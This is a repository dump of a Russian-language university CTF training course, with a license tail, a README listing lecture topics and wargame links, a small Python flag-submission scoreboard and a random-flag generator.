125 | the Council of 11 March 1996 on the legal protection of databases,
126 | as amended and/or succeeded, as well as other essentially
127 | equivalent rights anywhere in the world.
128 |
129 | k. You means the individual or entity exercising the Licensed Rights
130 | under this Public License. Your has a corresponding meaning.
131 |
132 |
133 | Section 2 -- Scope.
134 |
135 | a. License grant.
136 |
137 | 1. Subject to the terms and conditions of this Public License,
138 | the Licensor hereby grants You a worldwide, royalty-free,
139 | non-sublicensable, non-exclusive, irrevocable license to
140 | exercise the Licensed Rights in the Licensed Material to:
141 |
142 | a. reproduce and Share the Licensed Material, in whole or
143 | in part; and
144 |
145 | b. produce, reproduce, and Share Adapted Material.
146 |
147 | 2. Exceptions and Limitations. For the avoidance of doubt, where
148 | Exceptions and Limitations apply to Your use, this Public
149 | License does not apply, and You do not need to comply with
150 | its terms and conditions.
151 |
152 | 3. Term. The term of this Public License is specified in Section
153 | 6(a).
154 |
155 | 4. Media and formats; technical modifications allowed. The
156 | Licensor authorizes You to exercise the Licensed Rights in
157 | all media and formats whether now known or hereafter created,
158 | and to make technical modifications necessary to do so. The
159 | Licensor waives and/or agrees not to assert any right or
160 | authority to forbid You from making technical modifications
161 | necessary to exercise the Licensed Rights, including
162 | technical modifications necessary to circumvent Effective
163 | Technological Measures. For purposes of this Public License,
164 | simply making modifications authorized by this Section 2(a)
165 | (4) never produces Adapted Material.
166 |
167 | 5. Downstream recipients.
168 |
169 | a. Offer from the Licensor -- Licensed Material. Every
170 | recipient of the Licensed Material automatically
171 | receives an offer from the Licensor to exercise the
172 | Licensed Rights under the terms and conditions of this
173 | Public License.
174 |
175 | b. No downstream restrictions. You may not offer or impose
176 | any additional or different terms or conditions on, or
177 | apply any Effective Technological Measures to, the
178 | Licensed Material if doing so restricts exercise of the
179 | Licensed Rights by any recipient of the Licensed
180 | Material.
181 |
182 | 6. No endorsement. Nothing in this Public License constitutes or
183 | may be construed as permission to assert or imply that You
184 | are, or that Your use of the Licensed Material is, connected
185 | with, or sponsored, endorsed, or granted official status by,
186 | the Licensor or others designated to receive attribution as
187 | provided in Section 3(a)(1)(A)(i).
188 |
189 | b. Other rights.
190 |
191 | 1. Moral rights, such as the right of integrity, are not
192 | licensed under this Public License, nor are publicity,
193 | privacy, and/or other similar personality rights; however, to
194 | the extent possible, the Licensor waives and/or agrees not to
195 | assert any such rights held by the Licensor to the limited
196 | extent necessary to allow You to exercise the Licensed
197 | Rights, but not otherwise.
198 |
199 | 2. Patent and trademark rights are not licensed under this
200 | Public License.
201 |
202 | 3. To the extent possible, the Licensor waives any right to
203 | collect royalties from You for the exercise of the Licensed
204 | Rights, whether directly or through a collecting society
205 | under any voluntary or waivable statutory or compulsory
206 | licensing scheme. In all other cases the Licensor expressly
207 | reserves any right to collect such royalties.
208 |
209 |
210 | Section 3 -- License Conditions.
211 |
212 | Your exercise of the Licensed Rights is expressly made subject to the
213 | following conditions.
214 |
215 | a. Attribution.
216 |
217 | 1. If You Share the Licensed Material (including in modified
218 | form), You must:
219 |
220 | a. retain the following if it is supplied by the Licensor
221 | with the Licensed Material:
222 |
223 | i. identification of the creator(s) of the Licensed
224 | Material and any others designated to receive
225 | attribution, in any reasonable manner requested by
226 | the Licensor (including by pseudonym if
227 | designated);
228 |
229 | ii. a copyright notice;
230 |
231 | iii. a notice that refers to this Public License;
232 |
233 | iv. a notice that refers to the disclaimer of
234 | warranties;
235 |
236 | v. a URI or hyperlink to the Licensed Material to the
237 | extent reasonably practicable;
238 |
239 | b. indicate if You modified the Licensed Material and
240 | retain an indication of any previous modifications; and
241 |
242 | c. indicate the Licensed Material is licensed under this
243 | Public License, and include the text of, or the URI or
244 | hyperlink to, this Public License.
245 |
246 | 2. You may satisfy the conditions in Section 3(a)(1) in any
247 | reasonable manner based on the medium, means, and context in
248 | which You Share the Licensed Material. For example, it may be
249 | reasonable to satisfy the conditions by providing a URI or
250 | hyperlink to a resource that includes the required
251 | information.
252 |
253 | 3. If requested by the Licensor, You must remove any of the
254 | information required by Section 3(a)(1)(A) to the extent
255 | reasonably practicable.
256 |
257 | 4. If You Share Adapted Material You produce, the Adapter's
258 | License You apply must not prevent recipients of the Adapted
259 | Material from complying with this Public License.
260 |
261 |
262 | Section 4 -- Sui Generis Database Rights.
263 |
264 | Where the Licensed Rights include Sui Generis Database Rights that
265 | apply to Your use of the Licensed Material:
266 |
267 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right
268 | to extract, reuse, reproduce, and Share all or a substantial
269 | portion of the contents of the database;
270 |
271 | b. if You include all or a substantial portion of the database
272 | contents in a database in which You have Sui Generis Database
273 | Rights, then the database in which You have Sui Generis Database
274 | Rights (but not its individual contents) is Adapted Material; and
275 |
276 | c. You must comply with the conditions in Section 3(a) if You Share
277 | all or a substantial portion of the contents of the database.
278 |
279 | For the avoidance of doubt, this Section 4 supplements and does not
280 | replace Your obligations under this Public License where the Licensed
281 | Rights include other Copyright and Similar Rights.
282 |
283 |
284 | Section 5 -- Disclaimer of Warranties and Limitation of Liability.
285 |
286 | a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE
287 | EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS
288 | AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF
289 | ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,
290 | IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,
291 | WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR
292 | PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,
293 | ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT
294 | KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT
295 | ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.
296 |
297 | b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE
298 | TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,
299 | NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,
300 | INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,
301 | COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR
302 | USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN
303 | ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR
304 | DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR
305 | IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.
306 |
307 | c. The disclaimer of warranties and limitation of liability provided
308 | above shall be interpreted in a manner that, to the extent
309 | possible, most closely approximates an absolute disclaimer and
310 | waiver of all liability.
311 |
312 |
313 | Section 6 -- Term and Termination.
314 |
315 | a. This Public License applies for the term of the Copyright and
316 | Similar Rights licensed here. However, if You fail to comply with
317 | this Public License, then Your rights under this Public License
318 | terminate automatically.
319 |
320 | b. Where Your right to use the Licensed Material has terminated under
321 | Section 6(a), it reinstates:
322 |
323 | 1. automatically as of the date the violation is cured, provided
324 | it is cured within 30 days of Your discovery of the
325 | violation; or
326 |
327 | 2. upon express reinstatement by the Licensor.
328 |
329 | For the avoidance of doubt, this Section 6(b) does not affect any
330 | right the Licensor may have to seek remedies for Your violations
331 | of this Public License.
332 |
333 | c. For the avoidance of doubt, the Licensor may also offer the
334 | Licensed Material under separate terms or conditions or stop
335 | distributing the Licensed Material at any time; however, doing so
336 | will not terminate this Public License.
337 |
338 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public
339 | License.
340 |
341 |
342 | Section 7 -- Other Terms and Conditions.
343 |
344 | a. The Licensor shall not be bound by any additional or different
345 | terms or conditions communicated by You unless expressly agreed.
346 |
347 | b. Any arrangements, understandings, or agreements regarding the
348 | Licensed Material not stated herein are separate from and
349 | independent of the terms and conditions of this Public License.
350 |
351 |
352 | Section 8 -- Interpretation.
353 |
354 | a. For the avoidance of doubt, this Public License does not, and
355 | shall not be interpreted to, reduce, limit, restrict, or impose
356 | conditions on any use of the Licensed Material that could lawfully
357 | be made without permission under this Public License.
358 |
359 | b. To the extent possible, if any provision of this Public License is
360 | deemed unenforceable, it shall be automatically reformed to the
361 | minimum extent necessary to make it enforceable. If the provision
362 | cannot be reformed, it shall be severed from this Public License
363 | without affecting the enforceability of the remaining terms and
364 | conditions.
365 |
366 | c. No term or condition of this Public License will be waived and no
367 | failure to comply consented to unless expressly agreed to by the
368 | Licensor.
369 |
370 | d. Nothing in this Public License constitutes or may be interpreted
371 | as a limitation upon, or waiver of, any privileges and immunities
372 | that apply to the Licensor or You, including from the legal
373 | processes of any jurisdiction or authority.
374 |
375 |
376 | =======================================================================
377 |
378 | Creative Commons is not a party to its public licenses.
379 | Notwithstanding, Creative Commons may elect to apply one of its public
380 | licenses to material it publishes and in those instances will be
381 | considered the “Licensor.” The text of the Creative Commons public
382 | licenses is dedicated to the public domain under the CC0 Public Domain
383 | Dedication. Except for the limited purpose of indicating that material
384 | is shared under a Creative Commons public license or as otherwise
385 | permitted by the Creative Commons policies published at
386 | creativecommons.org/policies, Creative Commons does not authorize the
387 | use of the trademark "Creative Commons" or any other trademark or logo
388 | of Creative Commons without its prior written consent including,
389 | without limitation, in connection with any unauthorized modifications
390 | to any of its public licenses or any other arrangements,
391 | understandings, or agreements concerning use of licensed material. For
392 | the avoidance of doubt, this paragraph does not form part of the public
393 | licenses.
394 |
395 | Creative Commons may be contacted at creativecommons.org.
396 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | CTF на Физтехе
2 | ==============
3 |
4 | Курс по подготовке к соревнованиям по компьютерной безопасности формата CTF.
5 | Занятия проходили в МФТИ в 2014-2015 и 2015-2016 учебных годах.
6 |
7 | Каждое занятие состоит из небольшой лекции и практики в виде решения задачек на определенную тему.
8 | Для некоторых занятий доступны скринкасты, для некоторые есть лишь ссылки на материалы.
9 |
10 | [Группа ВКонтакте](https://vk.com/mipt_ctf).
11 |
12 | ## Прошедшие занятия
13 |
14 | **28 октября.** [Компьютерная безопасность. Что такое CTF. Attack-defence, jeopardy (task-based). УК РФ. Командная оболочка bash. Полезные команды и утилиты.](https://github.com/xairy/mipt-ctf/tree/master/01-intro/01-bash)
15 |
16 | **11 ноября.** [Язык программирования Python. Основы синсаксиса. Некоторые полезные модули.](https://github.com/xairy/mipt-ctf/tree/master/01-intro/02-python)
17 |
18 | **18 ноября.** [Менеджер пакетов Pip. Функция eval. Как выбраться из sandbox'а в Python с помощью эксплуатации функции eval.](https://github.com/xairy/mipt-ctf/tree/master/01-intro/03-eval)
19 |
20 | **25 ноября.** [Кодировки. ASCII, ANSI Code Pages, Unicode, UTF-8/16/32. Base64. Классические шифры. Шифр Цезаря. Шифр простой замены. Частотный анализ. Шифр Вижинера. Индекс совпадений. Одноразовый блокнот. Современные симметричные шифры. DES, 3DES, AES.](https://github.com/xairy/mipt-ctf/tree/master/02-crypto/01-symmetric)
21 |
22 | **2 декабря.** [Асимметричные шифры. Протокол Диффи-Хеллмана. RSA. Электронная цифровая подпись. Сертификат открытого ключа. Как работает HTTPS.](https://github.com/xairy/mipt-ctf/tree/master/02-crypto/02-asymmetric)
23 |
24 | **24 февраля.** [Криптографические хеш-функции (MD5, SHA-1, SHA-2, SHA-3, bcrypt). Обзор реализации MD5. Length extension attack. Как хранить пароли пользователей. Как ломать хеши. John the Ripper, hashcat.](https://github.com/xairy/mipt-ctf/tree/master/02-crypto/03-hashing)
25 |
26 | **2 марта.** [Стеганография. Основные понятия. Least Significant Bit (LSB). Контейнеры: текст, изображения, аудио, видео. Стегоанализ.](https://github.com/xairy/mipt-ctf/tree/master/02-crypto/04-stego)
27 |
28 | **9 марта.** [Модель OSI. Стек TCP/IP. Протоколы IP, TCP, UDP. netcat, nmap, netstat, ping. Основы HTTP. Методы, заголовки, cookies, авторизация. Session hijacking attack. HTML. curl, wget, lynx, tcpdump. Python requests. Browser development tools. Полезные плагины для браузеров.](https://github.com/xairy/mipt-ctf/tree/master/03-web/01-http)
29 |
30 | **16 марта.** [Различные типы веб уязвимостей. OWASP Top 10. Injections: SQL, Command, Log. RFI, LFI. XSS, CSRF. Full path disclosure. .git, .svn. .hg. .htaccess, .htpasswd. Malicious file upload. robots.txt, sitemap.xml. Bug bounty.](https://github.com/xairy/mipt-ctf/tree/master/03-web/02-vulns)
31 |
32 | **23 марта.** [SQL инъекции. Error-based. Blind (content-based, time-based). Union-based. Stacked queries. Поиск. Защита. Web Application Firewall. Cheat Sheets. sqlmap.](https://github.com/xairy/mipt-ctf/tree/master/03-web/03-sqli)
33 |
34 | **30 марта, 6, 13, 20 апреля.** [Серия занятий по ассемблеру.](https://github.com/xairy/mipt-ctf/tree/master/04-binary/01-asm)
35 |
36 | **27 апреля.** [Reverse engineering. Ассемблеры. Форматы бинарных файлов. ELF. Утилиты: file, strings, readelf, objdump, nm, ldd. Дизассемблеры: objdump, IDA Pro, Hopper, radare2, ODA. Декомпиляторы: Hex-Rays, Hopper. Дебаггеры: strace, ltrace, gdb, qira. Hex редакторы: ghex, hexdump, xxd.](https://github.com/xairy/mipt-ctf/tree/master/04-binary/02-reverse)
37 |
38 | **4 мая.** [Бинарные уязвимости. Buffer-overflow: shellcodes, return-to-libc. Format-string-vulnerability: arbitrary read, arbitrary write, overwriting GOT. Дебаг эксплоитов с помощью gdb.](https://github.com/xairy/mipt-ctf/tree/master/04-binary/03-exploits)
39 |
40 | **11 мая.** [Различные средства защиты бинарников. ASLR, PIE, stack canary, RELRO, DEP (NX), FORTIFY\_SOURCE. Как и когда можно их обойти. Утилита checksec. Return-Oriented Programming.](https://github.com/xairy/mipt-ctf/tree/master/04-binary/04-hardening)
41 |
42 |
43 | ## Wargames
44 |
45 | http://overthewire.org/wargames/
46 |
47 | https://www.root-me.org/en/Challenges/
48 |
49 | http://canyouhack.it/
50 |
51 | http://pwnable.kr/play.php
52 |
53 | https://exploit-exercises.com/
54 |
55 | https://pentesterlab.com/exercises/
56 |
57 | https://www.vulnhub.com/
58 |
59 | https://ctf365.com
60 |
61 | http://smashthestack.org/wargames.html
62 |
63 |
64 | ## Links
65 |
66 | https://github.com/s1gh/ctf-literature
67 |
68 | https://github.com/zardus/ctf-tools
69 |
70 | https://github.com/apsdehal/awesome-ctf
71 |
72 | http://kmb.ufoctf.ru/
73 |
74 | https://trailofbits.github.io/ctf/index.html
75 |
76 | https://delimitry.blogspot.ru/2014/10/useful-tools-for-ctf.html
77 |
78 | https://github.com/pwning/docs
79 |
--------------------------------------------------------------------------------
/scoreboard/db.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from __future__ import print_function, unicode_literals
4 |
5 | import json
6 | import sqlite3
7 |
8 | def create_db():
9 | conn = sqlite3.connect('scoreboard.db')
10 | c = conn.cursor()
11 | c.execute('DROP TABLE IF EXISTS tasks')
12 | c.execute('CREATE TABLE tasks (name TEXT, flag TEXT, complexity INTEGER)')
13 | c.execute('DROP TABLE IF EXISTS users')
14 | c.execute('CREATE TABLE users (name TEXT, state TEXT)')
15 | conn.commit()
16 | conn.close()
17 |
18 | def put_tasks(tasks):
19 | conn = sqlite3.connect('scoreboard.db')
20 | c = conn.cursor()
21 | for name in tasks.keys():
22 | c.execute('INSERT INTO tasks VALUES(?, ?, ?)',
23 | (name, tasks[name]['flag'], tasks[name]['complexity']))
24 | conn.commit()
25 | conn.close()
26 |
27 | def get_tasks():
28 | conn = sqlite3.connect('scoreboard.db')
29 | c = conn.cursor()
30 | c.execute('SELECT * from tasks')
31 | raw_tasks = c.fetchall()
32 | tasks = {}
33 | for raw_task in raw_tasks:
34 | tasks[raw_task[0]] = {'flag': raw_task[1], 'complexity': raw_task[2]}
35 | conn.close()
36 | return tasks
37 |
38 | def get_task_flag(name):
39 | conn = sqlite3.connect('scoreboard.db')
40 | c = conn.cursor()
41 | c.execute('SELECT * from tasks WHERE name = ?', (name,))
42 | res = c.fetchone()
43 | conn.close()
44 | if res == None:
45 | return None
46 | return res[1]
47 |
48 | def add_user(name):
49 | conn = sqlite3.connect('scoreboard.db')
50 | c = conn.cursor()
51 | tasks = get_tasks()
52 | user_tasks = {}
53 | for task_name in tasks.keys():
54 | user_tasks[task_name] = False
55 | state = json.dumps(user_tasks)
56 | c.execute('INSERT INTO users VALUES(?, ?)', (name, state))
57 | conn.commit()
58 | conn.close()
59 | return user_tasks
60 |
61 | def get_users():
62 | conn = sqlite3.connect('scoreboard.db')
63 | c = conn.cursor()
64 | c.execute('SELECT * from users')
65 | raw_users = c.fetchmany(100)
66 | users = {}
67 | for raw_user in raw_users:
68 | users[raw_user[0]] = json.loads(raw_user[1])
69 | conn.close()
70 | return users
71 |
72 | def get_user_state(name):
73 | conn = sqlite3.connect('scoreboard.db')
74 | c = conn.cursor()
75 | c.execute('SELECT * FROM users WHERE name = ?', (name,))
76 | raw_user = c.fetchone()
77 | conn.close()
78 | if raw_user == None:
79 | return None
80 | state = json.loads(raw_user[1])
81 | return state
82 |
83 | def set_user_state(name, state):
84 | conn = sqlite3.connect('scoreboard.db')
85 | c = conn.cursor()
86 | state = json.dumps(state)
87 | c.execute('UPDATE users SET state = ? WHERE name = ?', (state, name))
88 | conn.commit()
89 | conn.close()
90 |
91 | def try_solve_task(user, task, flag):
92 | correct_flag = get_task_flag(task)
93 | if correct_flag == None:
94 | return 'No such task!'
95 | if flag != correct_flag:
96 | return 'Bad flag!'
97 | state = get_user_state(user)
98 | if state == None:
99 | state = add_user(user)
100 | state[task] = True
101 | set_user_state(user, state)
102 | return 'Correct!'
103 |
104 | if __name__ == '__main__':
105 | create_db()
106 | put_tasks({'a': {'flag': '01', 'complexity': 1}, 'b': {'flag': '02', 'complexity': 2}})
107 | print(get_tasks())
108 | print(get_task_flag('a'))
109 | print(add_user('xairy'))
110 | print(get_users())
111 | print(get_user_state('xairy'))
112 | print(try_solve_task('xairy', 'a', '10'))
113 | print(try_solve_task('xairy', 'b', '02'))
114 | print(get_user_state('xairy'))
115 |
--------------------------------------------------------------------------------
/scoreboard/tcp.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | from __future__ import print_function, unicode_literals
4 |
5 | import SocketServer
6 | import threading
7 | import time
8 |
9 | import db
10 |
11 | class ScoreboardTCPHandler(SocketServer.StreamRequestHandler):
12 | def process(self, req):
13 | req = req.split(' ', 2)
14 | if len(req) != 3:
15 | self.wfile.write('Wrong format! Should be: \n')
16 | return
17 |
18 | user = req[0][:8]
19 | task = req[1].lower()
20 | flag = req[2]
21 |
22 | res = db.try_solve_task(user, task, flag)
23 | self.wfile.write(res + '\n')
24 |
25 | def handle(self):
26 | try:
27 | for line in self.rfile:
28 | line = line.rstrip()
29 | self.process(line)
30 | except:
31 | self.wfile.write('Oops!\n')
32 |
33 | class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
34 | pass
35 |
36 | server = None
37 | server_thread = None
38 |
39 | def start_tcp_server(port):
40 | global server, server_thread
41 | server = ThreadedTCPServer(('', port), ScoreboardTCPHandler)
42 | server_thread = threading.Thread(target=server.serve_forever)
43 | server_thread.start()
44 |
45 | def stop_tcp_server():
46 | server.shutdown()
47 | server_thread.join()
48 |
49 | def run_tcp():
50 | start_tcp_server(9995)
51 | try:
52 | while True:
53 | time.sleep(1)
54 | except KeyboardInterrupt:
55 | stop_tcp_server()
56 |
57 | if __name__ == '__main__':
58 | run_tcp()
59 |
--------------------------------------------------------------------------------
/scoreboard/templates/index.html:
--------------------------------------------------------------------------------
1 | $def with (tasks, sorted_tasks, users, sorted_users)
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 | Bash
11 |
12 |
13 |
14 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 | |
32 | $for task in sorted_tasks:
33 |
34 | $task
35 | $for i in xrange(0, tasks[task]['complexity'] - 2):
36 | *
37 | |
38 |
39 |
40 |
41 | $for user in sorted_users:
42 |
43 | $user |
44 | $for task in sorted_tasks:
45 | $if users[user][task]:
46 | + |
47 | $else:
48 | |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
--------------------------------------------------------------------------------
/scoreboard/view.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import web
4 |
5 | import db
6 |
7 | urls = (
8 | '/', 'index'
9 | )
10 |
11 | render = web.template.render('templates')
12 |
13 | class index:
14 | def GET(self):
15 | tasks = db.get_tasks()
16 | users = db.get_users()
17 |
18 | task_cmp = lambda task_name: tasks[task_name]['complexity']
19 | sorted_tasks = sorted(tasks.keys(), key=task_cmp, reverse=False)
20 | print sorted_tasks
21 | user_cmp = lambda user_name: sum([1 for task_name in tasks.keys() if users[user_name][task_name]])
22 | sorted_users = sorted(users.keys(), key=user_cmp, reverse=True)
23 | print sorted_users
24 |
25 | return render.index(tasks, sorted_tasks, users, sorted_users)
26 |
27 | app = web.application(urls, globals())
28 | wsgiapp = app.wsgifunc()
29 |
30 | def start_app():
31 | app.run()
32 |
33 | if __name__ == "__main__":
34 | start_app()
35 |
--------------------------------------------------------------------------------
/scripts/flag.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import random
4 | import sys
5 |
6 | def random_hex_digit():
7 | return hex(random.randint(0x0, 0xf)).split('x')[1]
8 |
9 | def random_hex_str(length):
10 | return ''.join([random_hex_digit() for i in range(length)])
11 |
12 | def random_flag(length):
13 | return 'flag{' + random_hex_str(32) + '}'
14 |
15 | if __name__ == '__main__':
16 | num = 1
17 | if len(sys.argv) == 2:
18 | num = int(sys.argv[1])
19 | for i in range(num):
20 | print(random_flag(32))
21 |
--------------------------------------------------------------------------------